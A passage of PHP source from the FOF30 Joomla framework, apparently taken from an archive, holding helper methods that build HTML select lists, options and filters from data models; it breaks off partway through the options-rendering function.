Placeholder for no selection * @param array $params Generic select display parameters * * @return string * * @since 3.3.0 */ public static function publishedFilter($localField, $placeholder = null, array $params = []) { return self::selectFilter($localField, SelectOptions::getOptions('published', $params), $placeholder, $params); } /** * Create a select box from the values returned by a model * * @param string $name Field name * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param string $currentValue The currently selected value * @param array $params Passed to optionsFromModel and genericSelect * @param array $modelState Optional state variables to pass to the model * @param array $options Any JHtml select options you want to add in front of the model's returned values * * @return string * * @see self::getOptionsFromModel * @see self::getOptionsFromSource * @see self::genericSelect * * @since 3.3.0 */ public static function modelSelect($name, $modelName, $currentValue, array $params = [], array $modelState = [], array $options = []) { $params = array_merge([ 'fof.autosubmit' => true, ], $params); $options = self::getOptionsFromModel($modelName, $params, $modelState, $options); return self::genericSelect($name, $options, $currentValue, $params); } /** * Get a (human readable) title from a (typically numeric, foreign key) key value using the data * returned by a DataModel. * * @param string $value The key value * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param array $params Passed to getOptionsFromModel * @param array $modelState Optional state variables to pass to the model * @param array $options Any JHtml select options you want to add in front of the model's returned values * * @return string * * @see self::getOptionsFromModel * @see self::getOptionsFromSource * @see self::genericSelect * * @since 3.3.0 */ public static function modelOptionName($value, $modelName = null, array $params = [], array $modelState = [], array $options = []) { if (!isset($params['cache'])) { $params['cache'] = true; } if (!isset($params['none_as_zero'])) { $params['none_as_zero'] = true; } $options = self::getOptionsFromModel($modelName, $params, $modelState, $options); return self::getOptionName($value, $options); } /** * Gets the active option's label given an array of JHtml options * * @param mixed $selected The currently selected value * @param array $data The JHtml options to parse * @param string $optKey Key name, default: value * @param string $optText Value name, default: text * @param bool $selectFirst Should I automatically select the first option? Default: true * * @return mixed The label of the currently selected option */ public static function getOptionName($selected, $data, $optKey = 'value', $optText = 'text', $selectFirst = true) { $ret = null; foreach ($data as $elementKey => &$element) { if (is_array($element)) { $key = $optKey === null ? $elementKey : $element[$optKey]; $text = $element[$optText]; } elseif (is_object($element)) { $key = $optKey === null ? $elementKey : $element->$optKey; $text = $element->$optText; } else { // This is a simple associative array $key = $elementKey; $text = $element; } if (is_null($ret) && $selectFirst && ($selected == $key)) { $ret = $text; } elseif ($selected == $key) { $ret = $text; } } return $ret; } /** * Create a generic select list based on a bunch of options. Option sources will be merged into the provided * options automatically. * * Parameters: * - format.depth The current indent depth. * - format.eol The end of line string, default is linefeed. * - format.indent The string to use for indentation, default is tab. * - groups If set, looks for keys with the value "<optgroup>" and synthesizes groups from them. Deprecated. * Default: true. * - list.select Either the value of one selected option or an array of selected options. Default: $currentValue. * - list.translate If true, text and labels are translated via JText::_(). Default is false. * - list.attr HTML element attributes (key/value array or string) * - list.none Placeholder for no selection (creates an option with an empty string key) * - option.id The property in each option array to use as the selection id attribute. Defaults: null. * - option.key The property in each option array to use as the Default: "value". If set to null, the index of the * option array is used. * - option.label The property in each option array to use as the selection label attribute. Default: null * - option.text The property in each option array to use as the displayed text. Default: "text". If set to null, * the option array is assumed to be a list of displayable scalars. * - option.attr The property in each option array to use for additional selection attributes. Defaults: null. * - option.disable: The property that will hold the disabled state. Defaults to "disable". * - fof.autosubmit Should I auto-submit the form on change? Default: true * - fof.formname Form to auto-submit. Default: adminForm * - class CSS class to apply * - size Size attribute for the input * - multiple Is this a multiple select? Default: false. * - required Is this a required field? Default: false. * - autofocus Should I focus this field automatically? Default: false * - disabled Is this a disabled field? Default: false * - readonly Render as a readonly field with hidden inputs? Overrides 'disabled'. Default: false * - onchange Custom onchange handler. Overrides fof.autosubmit. Default: NULL (use fof.autosubmit). * * @param $name * @param array $options * @param $currentValue * @param array $params * * @return string * * @since 3.3.0 */ public static function genericSelect($name, array $options, $currentValue, array $params = []) { $params = array_merge([ 'format.depth' => 0, 'format.eol' => "\n", 'format.indent' => "\t", 'groups' => true, 'list.select' => $currentValue, 'list.translate' => false, 'option.id' => null, 'option.key' => 'value', 'option.label' => null, 'option.text' => 'text', 'option.attr' => null, 'option.disable' => 'disable', 'list.attr' => '', 'list.none' => '', 'id' => null, 'fof.autosubmit' => true, 'fof.formname' => 'adminForm', 'class' => '', 'size' => '', 'multiple' => false, 'required' => false, 'autofocus' => false, 'disabled' => false, 'onchange' => null, 'readonly' => false, ], $params); $currentValue = $params['list.select']; // If fof.autosubmit is enabled and onchange is not set we will add our own handler if ($params['fof.autosubmit'] && is_null($params['onchange'])) { $formName = $params['fof.formname'] ?: 'adminForm'; $params['onchange'] = "document.{$formName}.submit()"; } // Construct SELECT element's attributes $attr = ''; $attr .= $params['class'] ? ' class="' . $params['class'] . '"' : ''; $attr .= !empty($params['size']) ? ' size="' . $params['size'] . '"' : ''; $attr .= $params['multiple'] ? ' multiple' : ''; $attr .= $params['required'] ? ' required aria-required="true"' : ''; $attr .= $params['autofocus'] ? ' autofocus' : ''; $attr .= ($params['disabled'] || $params['readonly']) ? ' disabled="disabled"' : ''; $attr .= $params['onchange'] ? ' onchange="' . $params['onchange'] . '"' : ''; // We use the constructed SELECT element's attributes only if no 'attr' key was provided if (empty($params['list.attr'])) { $params['list.attr'] = $attr; } // Merge the options with those fetched from a source (e.g. another Helper object) $options = array_merge($options, self::getOptionsFromSource($params)); if (!empty($params['list.none'])) { array_unshift($options, HTMLHelper::_('FEFHelper.select.option', '', Text::_($params['list.none']))); } $html = []; // Create a read-only list (no name) with hidden input(s) to store the value(s). if ($params['readonly']) { $html[] = HTMLHelper::_('FEFHelper.select.genericlist', $options, $name, $params); // E.g. form field type tag sends $this->value as array if ($params['multiple'] && is_array($currentValue)) { if (!count($currentValue)) { $currentValue[] = ''; } foreach ($currentValue as $value) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"/>'; } } else // Create a regular list. { $html[] = HTMLHelper::_('FEFHelper.select.genericlist', $options, $name, $params); } return implode($html); } /** * Replace tags that reference fields with their values * * @param string $text Text to process * @param DataModel $item The DataModel instance to get values from * * @return string Text with tags replace * * @since 3.3.0 */ public static function parseFieldTags($text, DataModel $item) { $ret = $text; if (empty($item)) { return $ret; } /** * Replace [ITEM:ID] in the URL with the item's key value (usually: the auto-incrementing numeric ID) */ $replace = $item->getId(); $ret = str_replace('[ITEM:ID]', $replace, $ret); // Replace the [ITEMID] in the URL with the current Itemid parameter $ret = str_replace('[ITEMID]', $item->getContainer()->input->getInt('Itemid', 0), $ret); // Replace the [TOKEN] in the URL with the Joomla! form token $ret = str_replace('[TOKEN]', $item->getContainer()->platform->getToken(true), $ret); // Replace other field variables in the URL $data = $item->getData(); foreach ($data as $field => $value) { // Skip non-processable values if (is_array($value) || is_object($value)) { continue; } $search = '[ITEM:' . strtoupper($field) . ']'; $ret = str_replace($search, $value, $ret); } return $ret; } /** * Get the FOF View from the backtrace of the static call. MAGIC! * * @return View * * @since 3.3.0 */ public static function getViewFromBacktrace() { // In case we are on a braindead host if (!function_exists('debug_backtrace')) { throw new RuntimeException("Your host has disabled the <code>debug_backtrace</code> PHP function. Please ask them to re-enable it. It's required for running this software."); } /** * For performance reasons I look into the last 4 call stack entries. If I don't find a container I * will expand my search by another 2 entries and so on until I either find a container or I stop * finding new call stack entries. */ $lastNumberOfEntries = 0; $limit = 4; $skip = 0; $container = null; while (true) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, $limit); if (count($backtrace) == $lastNumberOfEntries) { throw new RuntimeException(__METHOD__ . ": Cannot retrieve FOF View from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } $lastNumberOfEntries = count($backtrace); if ($skip) { $backtrace = array_slice($backtrace, $skip); } foreach ($backtrace as $bt) { if (!isset($bt['object'])) { continue; } if ($bt['object'] instanceof View) { return $bt['object']; } } $skip = $limit; $limit += 2; } throw new RuntimeException(__METHOD__ . ": Cannot retrieve FOF View from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } /** * Get JHtml options from an alternate source, e.g. a helper. This is useful for adding arbitrary options * which are either dynamic or you do not want to inline to your view, e.g. reusable options across * different views. * * The attribs can be: * source_file The file to load. You can use FOF's URIs such as 'admin:com_foobar/foo/bar' * source_class The class to use * source_method The static method to use on source_class * source_key Use * if you're returning a key/value array. Otherwise the array key for the key (ID) * value. * source_value Use * if you're returning a key/value array. Otherwise the array key for the displayed * value. source_translate Should I pass the value field through JText? Default: true source_format Set * to "optionsobject" if you're returning an array of JHtml options. Ignored otherwise. * * @param array $attribs * * @return array * * @since 3.3.0 */ private static function getOptionsFromSource(array $attribs = []) { $options = []; $container = self::getContainerFromBacktrace(); $attribs = array_merge([ 'source_file' => '', 'source_class' => '', 'source_method' => '', 'source_key' => '*', 'source_value' => '*', 'source_translate' => true, 'source_format' => '', ], $attribs); $source_file = $attribs['source_file']; $source_class = $attribs['source_class']; $source_method = $attribs['source_method']; $source_key = $attribs['source_key']; $source_value = $attribs['source_value']; $source_translate = $attribs['source_translate']; $source_format = $attribs['source_format']; if ($source_class && $source_method) { // Maybe we have to load a file? if (!empty($source_file)) { $source_file = $container->template->parsePath($source_file, true); if ($container->filesystem->fileExists($source_file)) { include $source_file; } } // Make sure the class exists if (class_exists($source_class, true)) { // ...and so does the option if (in_array($source_method, get_class_methods($source_class))) { // Get the data from the class if ($source_format == 'optionsobject') { $options = array_merge($options, $source_class::$source_method()); } else { $source_data = $source_class::$source_method(); // Loop through the data and prime the $options array foreach ($source_data as $k => $v) { $key = (empty($source_key) || ($source_key == '*')) ? $k : @$v[$source_key]; $value = (empty($source_value) || ($source_value == '*')) ? $v : @$v[$source_value]; if ($source_translate) { $value = Text::_($value); } $options[] = HTMLHelper::_('FEFHelper.select.option', $key, $value, 'value', 'text'); } } } } } reset($options); return $options; } /** * Get JHtml options from the values returned by a model. * * The params can be: * key_field The model field used for the OPTION's key. Default: the model's ID field. * value_field The model field used for the OPTION's displayed value. You must provide it. * apply_access Should I apply Joomla ACLs to the model? Default: FALSE. * none Placeholder for no selection. Default: NULL (no placeholder). * none_as_zero When true, the 'none' placeholder applies to values '' **AND** '0' (empty string and zero) * translate Should I pass the values through JText? Default: TRUE. * with Array of relation names for eager loading. * cache Cache the results for faster reuse * * @param string $modelName The name of the model, e.g. "items" or "com_foobar.items" * @param array $params Parameters which define which options to get from the model * @param array $modelState Optional state variables to pass to the model * @param array $options Any JHtml select options you want to add in front of the model's returned values * * @return mixed * * @since 3.3.0 */ private static function getOptionsFromModel($modelName, array $params = [], array $modelState = [], array $options = []) { // Let's find the FOF DI container from the call stack $container = self::getContainerFromBacktrace(); // Explode model name into component name and prefix $componentName = $container->componentName; $mName = $modelName; if (strpos($modelName, '.') !== false) { [$componentName, $mName] = explode('.', $mName, 2); } if ($componentName != $container->componentName) { $container = Container::getInstance($componentName); } /** @var DataModel $model */ $model = $container->factory->model($mName)->setIgnoreRequest(true)->savestate(false); $defaultParams = [ 'key_field' => $model->getKeyName(), 'value_field' => 'title', 'apply_access' => false, 'none' => null, 'none_as_zero' => false, 'translate' => true, 'with' => [], ]; $params = array_merge($defaultParams, $params); $cache = isset($params['cache']) && $params['cache']; $cacheKey = null; if ($cache) { $cacheKey = sha1(print_r([ $model->getContainer()->componentName, $model->getName(), $params['key_field'], $params['value_field'], $params['apply_access'], $params['none'], $params['translate'], $params['with'], $modelState, ], true)); } if ($cache && isset(self::$cacheModelOptions[$cacheKey])) { return self::$cacheModelOptions[$cacheKey]; } if (empty($params['none']) && !is_null($params['none'])) { $langKey = strtoupper($model->getContainer()->componentName . '_TITLE_' . $model->getName()); $placeholder = Text::_($langKey); if ($langKey != $placeholder) { $params['none'] = '— ' . $placeholder . ' —'; } } if (!empty($params['none'])) { $options[] = HTMLHelper::_('FEFHelper.select.option', null, Text::_($params['none'])); if ($params['none_as_zero']) { $options[] = HTMLHelper::_('FEFHelper.select.option', 0, Text::_($params['none'])); } } if ($params['apply_access']) { $model->applyAccessFiltering(); } if (!is_null($params['with'])) { $model->with($params['with']); } // Set the model's state, if applicable foreach ($modelState as $stateKey => $stateValue) { $model->setState($stateKey, $stateValue); } // Set the query and get the result list. $items = $model->get(true); // Build the field options. if (!empty($items)) { foreach ($items as $item) { $value = $item->{$params['value_field']}; if ($params['translate']) { $value = Text::_($value); } $options[] = HTMLHelper::_('FEFHelper.select.option', $item->{$params['key_field']}, $value); } } if ($cache) { self::$cacheModelOptions[$cacheKey] = $options; } return $options; } /** * Get the FOF DI container from the backtrace of the static call. MAGIC! * * @return Container * * @since 3.3.0 */ private static function getContainerFromBacktrace() { // In case we are on a braindead host if (!function_exists('debug_backtrace')) { throw new RuntimeException("Your host has disabled the <code>debug_backtrace</code> PHP function. Please ask them to re-enable it. It's required for running this software."); } /** * For performance reasons I look into the last 4 call stack entries. If I don't find a container I * will expand my search by another 2 entries and so on until I either find a container or I stop * finding new call stack entries. */ $lastNumberOfEntries = 0; $limit = 4; $skip = 0; $container = null; while (true) { $backtrace = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT, $limit); if (count($backtrace) == $lastNumberOfEntries) { throw new RuntimeException(__METHOD__ . ": Cannot retrieve FOF container from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } $lastNumberOfEntries = count($backtrace); if ($skip) { $backtrace = array_slice($backtrace, $skip); } foreach ($backtrace as $bt) { if (!isset($bt['object'])) { continue; } if (!method_exists($bt['object'], 'getContainer')) { continue; } return $bt['object']->getContainer(); } $skip = $limit; $limit += 2; } throw new RuntimeException(__METHOD__ . ": Cannot retrieve FOF container from call stack. You are either calling me from a non-FEF extension or your PHP is broken."); } } PK���\�68=�y�y fof30/Utils/FEFHelper/select.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ defined('_JEXEC') || die; use FOF30\Utils\ArrayHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; /** * Custom JHtml (HTMLHelper) class. Offers selects compatible with Akeeba Frontend Framework (FEF) * * Call these methods as JHtml::_('FEFHelper.select.methodName', $parameter1, $parameter2, ...) */ abstract class FEFHelperSelect { /** * Default values for options. Organized by option group. * * @var array */ protected static $optionDefaults = [ 'option' => [ 'option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true, 'option.class' => 'class', 'option.onclick' => 'onclick', ], ]; /** * Generates a yes/no radio list. * * @param string $name The value of the HTML name attribute * @param array $attribs Additional HTML attributes for the `<select>` tag * @param string $selected The key that is selected * @param string $yes Language key for Yes * @param string $no Language key for no * @param mixed $id The id for the field or false for no id * * @return string HTML for the radio list * * @since 1.5 * @see JFormFieldRadio */ public static function booleanlist($name, $attribs = [], $selected = null, $yes = 'JYES', $no = 'JNO', $id = false) { $options = [ HTMLHelper::_('FEFHelper.select.option', '0', Text::_($no)), HTMLHelper::_('FEFHelper.select.option', '1', Text::_($yes)), ]; $attribs = array_merge(['forSelect' => 1], $attribs); return HTMLHelper::_('FEFHelper.select.radiolist', $options, $name, $attribs, 'value', 'text', (int) $selected, $id); } /** * Generates a searchable HTML selection list (Chosen on J3, Choices.js on J4). * * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the `<select>` tag. This * can be an array of attributes, or an array of options. Treated as options * if it is the last argument passed. Valid options are: * Format options, see {@see JHtml::$formatOptions}. * Selection options, see {@see JHtmlSelect::options()}. * list.attr, string|array: Additional attributes for the select * element. * id, string: Value to use as the select element id attribute. * Defaults to the same as the name. * list.select, string|array: Identifies one or more option elements * to be selected, based on the option key values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string). * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list. * * @since 3.7.2 */ public static function smartlist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { $innerList = self::genericlist($data, $name, $attribs, $optKey, $optText, $selected, $idtag, $translate); // Joomla 3: Use Chosen if (version_compare(JVERSION, '3.999.999', 'le')) { HTMLHelper::_('formbehavior.chosen'); return $innerList; } // Joomla 4: Use the joomla-field-fancy-select using choices.js try { \Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager() ->usePreset('choicesjs') ->useScript('webcomponent.field-fancy-select'); } catch (Exception $e) { return $innerList; } $j4Attr = array_filter([ 'class' => $attribs['class'] ?? null, 'placeholder' => $attribs['placeholder'] ?? null, ], function ($x) { return !empty($x); }); $dataAttribute = ''; if (isset($attribs['dataAttribute'])) { $dataAttribute = is_string($attribs['dataAttribute']) ? $attribs['dataAttribute'] : ''; } if ((bool) ($attribs['allowCustom'] ?? false)) { $dataAttribute .= ' allow-custom new-item-prefix="#new#"'; } $remoteSearchUrl = $attribs['remoteSearchURL'] ?? null; $remoteSearch = ((bool) ($attribs['remoteSearch'] ?? false)) && !empty($remoteSearchUrl); $termKey = $attribs['termKey'] ?? 'like'; $minTermLength = $attribs['minTermLength'] ?? 3; if ($remoteSearch) { $dataAttribute .= ' remote-search'; $j4Attr['url'] = $remoteSearchUrl; $j4Attr['term-key'] = $termKey; $j4Attr['min-term-length'] = $minTermLength; } if (isset($attribs['required'])) { $j4Attr['class'] = ($j4Attr['class'] ?? '') . ' required'; $dataAttribute .= ' required'; } if (isset($attribs['readonly'])) { return $innerList; } return sprintf("<joomla-field-fancy-select %s %s>%s</joomla-field-fancy-select>", ArrayHelper::toString($j4Attr), $dataAttribute, $innerList); } /** * Generates an HTML selection list. * * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the `<select>` tag. This * can be an array of attributes, or an array of options. Treated as options * if it is the last argument passed. Valid options are: * Format options, see {@see JHtml::$formatOptions}. * Selection options, see {@see JHtmlSelect::options()}. * list.attr, string|array: Additional attributes for the select * element. * id, string: Value to use as the select element id attribute. * Defaults to the same as the name. * list.select, string|array: Identifies one or more option elements * to be selected, based on the option key values. * @param string $optKey The name of the object variable for the option value. If * set to null, the index of the value array is used. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string). * @param mixed $idtag Value of the field id or null by default * @param boolean $translate True to translate * * @return string HTML for the select list. * * @since 1.5 */ public static function genericlist($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false) { // Set default options $options = array_merge(HTMLHelper::$formatOptions, ['format.depth' => 0, 'id' => false]); if (is_array($attribs) && func_num_args() === 3) { // Assume we have an options array $options = array_merge($options, $attribs); } else { // Get options from the parameters $options['id'] = $idtag; $options['list.attr'] = $attribs; $options['list.translate'] = $translate; $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(['[', ']', ' '], '', $id); $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol'] . static::options($data, $options) . $baseIndent . '</select>' . $options['format.eol']; return $html; } /** * Generates a grouped HTML selection list from nested arrays. * * @param array $data An array of groups, each of which is an array of options. * @param string $name The value of the HTML name attribute * @param array $options Options, an array of key/value pairs. Valid options are: * Format options, {@see JHtml::$formatOptions}. * Selection options. See {@see JHtmlSelect::options()}. * group.id: The property in each group to use as the group id * attribute. Defaults to none. * group.label: The property in each group to use as the group * label. Defaults to "text". If set to null, the data array index key is * used. * group.items: The property in each group to use as the array of * items in the group. Defaults to "items". If set to null, group.id and * group. label are forced to null and the data element is assumed to be a * list of selections. * id: Value to use as the select element id attribute. Defaults to * the same as the name. * list.attr: Attributes for the select element. Can be a string or * an array of key/value pairs. Defaults to none. * list.select: either the value of one selected option or an array * of selected options. Default: none. * list.translate: Boolean. If set, text and labels are translated via * JText::_(). * * @return string HTML for the select list * * @throws RuntimeException If a group has contents that cannot be processed. */ public static function groupedlist($data, $name, $options = []) { // Set default options and overwrite with anything passed in $options = array_merge( HTMLHelper::$formatOptions, [ 'format.depth' => 0, 'group.items' => 'items', 'group.label' => 'text', 'group.label.toHtml' => true, 'id' => false, ], $options ); // Apply option rules if ($options['group.items'] === null) { $options['group.label'] = null; } $attribs = ''; if (isset($options['list.attr'])) { if (is_array($options['list.attr'])) { $attribs = ArrayHelper::toString($options['list.attr']); } else { $attribs = $options['list.attr']; } if ($attribs !== '') { $attribs = ' ' . $attribs; } } $id = $options['id'] !== false ? $options['id'] : $name; $id = str_replace(['[', ']', ' '], '', $id); // Disable groups in the options. $options['groups'] = false; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']++); $html = $baseIndent . '<select' . ($id !== '' ? ' id="' . $id . '"' : '') . ' name="' . $name . '"' . $attribs . '>' . $options['format.eol']; $groupIndent = str_repeat($options['format.indent'], $options['format.depth']++); foreach ($data as $dataKey => $group) { $label = $dataKey; $id = ''; $noGroup = is_int($dataKey); if ($options['group.items'] == null) { // Sub-list is an associative array $subList = $group; } elseif (is_array($group)) { // Sub-list is in an element of an array. $subList = $group[$options['group.items']]; if (isset($group[$options['group.label']])) { $label = $group[$options['group.label']]; $noGroup = false; } if (isset($options['group.id']) && isset($group[$options['group.id']])) { $id = $group[$options['group.id']]; $noGroup = false; } } elseif (is_object($group)) { // Sub-list is in a property of an object $subList = $group->{$options['group.items']}; if (isset($group->{$options['group.label']})) { $label = $group->{$options['group.label']}; $noGroup = false; } if (isset($options['group.id']) && isset($group->{$options['group.id']})) { $id = $group->{$options['group.id']}; $noGroup = false; } } else { throw new RuntimeException('Invalid group contents.', 1); } if ($noGroup) { $html .= static::options($subList, $options); } else { $html .= $groupIndent . '<optgroup' . (empty($id) ? '' : ' id="' . $id . '"') . ' label="' . ($options['group.label.toHtml'] ? htmlspecialchars($label, ENT_COMPAT, 'UTF-8') : $label) . '">' . $options['format.eol'] . static::options($subList, $options) . $groupIndent . '</optgroup>' . $options['format.eol']; } } $html .= $baseIndent . '</select>' . $options['format.eol']; return $html; } /** * Generates a selection list of integers. * * @param integer $start The start integer * @param integer $end The end integer * @param integer $inc The increment * @param string $name The value of the HTML name attribute * @param mixed $attribs Additional HTML attributes for the `<select>` tag, an array of * attributes, or an array of options. Treated as options if it is the last * argument passed. * @param mixed $selected The key that is selected * @param string $format The printf format to be applied to the number * * @return string HTML for the select list */ public static function integerlist($start, $end, $inc, $name, $attribs = null, $selected = null, $format = '') { // Set default options $options = array_merge(HTMLHelper::$formatOptions, [ 'format.depth' => 0, 'option.format' => '', 'id' => null, ]); if (is_array($attribs) && func_num_args() === 5) { // Assume we have an options array $options = array_merge($options, $attribs); // Extract the format and remove it from downstream options $format = $options['option.format']; unset($options['option.format']); } else { // Get options from the parameters $options['list.attr'] = $attribs; $options['list.select'] = $selected; } $start = (int) $start; $end = (int) $end; $inc = (int) $inc; $data = []; for ($i = $start; $i <= $end; $i += $inc) { $data[$i] = $format ? sprintf($format, $i) : $i; } // Tell genericlist() to use array keys $options['option.key'] = null; return HTMLHelper::_('FEFHelper.select.genericlist', $data, $name, $options); } /** * Create an object that represents an option in an option list. * * @param string $value The value of the option * @param string $text The text for the option * @param mixed $optKey If a string, the returned object property name for * the value. If an array, options. Valid options are: * attr: String|array. Additional attributes for this option. * Defaults to none. * disable: Boolean. If set, this option is disabled. * label: String. The value for the option label. * option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * option.disable: The property that will hold the disabled state. * Defaults to "disable". * option.key: The property that will hold the selection value. * Defaults to "value". * option.label: The property in each option array to use as the * selection label attribute. If a "label" option is provided, defaults to * "label", if no label is given, defaults to null (none). * option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The property that will hold the the displayed text. This * parameter is ignored if an options array is passed. * @param boolean $disable Not used. * * @return stdClass */ public static function option($value, $text = '', $optKey = 'value', $optText = 'text', $disable = false) { $options = [ 'attr' => null, 'disable' => false, 'option.attr' => null, 'option.disable' => 'disable', 'option.key' => 'value', 'option.label' => null, 'option.text' => 'text', ]; if (is_array($optKey)) { // Merge in caller's options $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['disable'] = $disable; } $obj = new stdClass; $obj->{$options['option.key']} = $value; $obj->{$options['option.text']} = trim($text) ? $text : $value; /* * If a label is provided, save it. If no label is provided and there is * a label name, initialise to an empty string. */ $hasProperty = $options['option.label'] !== null; if (isset($options['label'])) { $labelProperty = $hasProperty ? $options['option.label'] : 'label'; $obj->$labelProperty = $options['label']; } elseif ($hasProperty) { $obj->{$options['option.label']} = ''; } // Set attributes only if there is a property and a value if ($options['attr'] !== null) { $obj->{$options['option.attr']} = $options['attr']; } // Set disable only if it has a property and a value if ($options['disable'] !== null) { $obj->{$options['option.disable']} = $options['disable']; } return $obj; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( HTMLHelper::$formatOptions, static::$optionDefaults['option'], ['format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false] ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->{$options['option.key']}; $text = $element->{$options['option.text']}; if (isset($element->{$options['option.attr']})) { $attr = $element->{$options['option.attr']}; } if (isset($element->{$options['option.id']})) { $id = $element->{$options['option.id']}; } if (isset($element->{$options['option.label']})) { $label = $element->{$options['option.label']}; } if (isset($element->{$options['option.disable']}) && $element->{$options['option.disable']}) { $extra .= ' disabled="disabled"'; } if (isset($element->{$options['option.class']}) && $element->{$options['option.class']}) { $extra .= ' class="' . $element->{$options['option.class']} . '"'; } if (isset($element->{$options['option.onclick']}) && $element->{$options['option.onclick']}) { $extra .= ' onclick="' . $element->{$options['option.onclick']} . '"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } /* * The use of options that contain optgroup HTML elements was * somewhat hacked for J1.5. J1.6 introduces the grouplist() method * to handle this better. The old solution is retained through the * "groups" option, which defaults true in J1.6, but should be * deprecated at some point in the future. */ $key = (string) $key; if ($key === '<OPTGROUP>' && $options['groups']) { $html .= $baseIndent . '<optgroup label="' . ($options['list.translate'] ? Text::_($text) : $text) . '">' . $options['format.eol']; $baseIndent = str_repeat($options['format.indent'], ++$options['format.depth']); } elseif ($key === '</OPTGROUP>' && $options['groups']) { $baseIndent = str_repeat($options['format.indent'], --$options['format.depth']); $html .= $baseIndent . '</optgroup>' . $options['format.eol']; } else { // If no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1]) && $splitText[1] !== '' && !preg_match('/^[\s]+$/', $splitText[1])) { $text .= ' - ' . $splitText[1]; } if (!empty($label) && $options['list.translate']) { $label = Text::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = ArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach 